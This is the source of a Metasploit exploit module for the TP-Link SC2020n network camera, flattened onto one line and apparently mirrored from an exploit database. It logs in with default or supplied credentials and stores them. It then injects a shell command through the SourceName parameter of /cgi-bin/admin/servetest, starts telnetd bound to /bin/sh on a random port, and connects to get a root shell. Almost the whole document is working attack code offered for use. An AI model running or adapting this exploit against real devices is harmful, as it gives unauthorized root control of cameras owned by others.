## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TP-Link SC2020n Authenticated Telnet Injection', 'Description' => %q{ The TP-Link SC2020n Network Video Camera is vulnerable to OS Command Injection via the web interface. By firing up the telnet daemon, it is possible to gain root on the device. The vulnerability exists at /cgi-bin/admin/servetest, which is accessible with credentials. }, 'Author' => [ 'Nicholas Starke ' ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 20 2015', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']) ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def telnet_timeout (datastore['TelnetTimeout'] || 10).to_i end def banner_timeout (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit print_status('Exploiting') user = datastore['USERNAME'] pass = datastore['PASSWORD'] test_login(user, pass) exploit_telnet end def test_login(user, pass) print_status("Trying to login with #{user} : #{pass}") begin res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) if res.nil? fail_with(Failure::Unknown, "Could not connect to web service - no response") end if (res.code != 200) fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}") else print_good("Successful login #{user} : #{pass}") save_cred(user, pass) end rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "Could not connect to the web service") end end def exploit_telnet telnet_port = rand(32767) + 32768 print_status("Telnet Port: #{telnet_port}") cmd = "telnetd -p #{telnet_port} -l/bin/sh" telnet_request(cmd) print_status("Trying to establish telnet connection...") ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout }) begin if sock.nil? fail_with(Failure::Unreachable, "Backdoor service unreachable") end add_socket(sock) print_status("Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Failure::Unknown, "Unable to establish a telnet session") else print_good("Telnet session successfully established") end handler(sock) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock fail_with(Failure::Unknown, e.message) end end def telnet_request(cmd) uri = '/cgi-bin/admin/servetest' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'vars_get' => { 'cmd' => 'ftp', 'ServerName' => 'test', 'userName' => 'test', 'Password' => 'test', 'Passive' => 'off', 'SourceName' => "/var/ftptest;#{cmd};#", 'TargetName' => 'testfile' } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "Could not connect to the web service") end end def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, telnet_timeout) return nil if not data or data.length == 0 if data =~ /#/ return true end end end rescue ::Timeout::Error return nil end end def save_cred(username, password) service_data = { address: rhost, port: rport, service_name: 'telnet', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-05-20]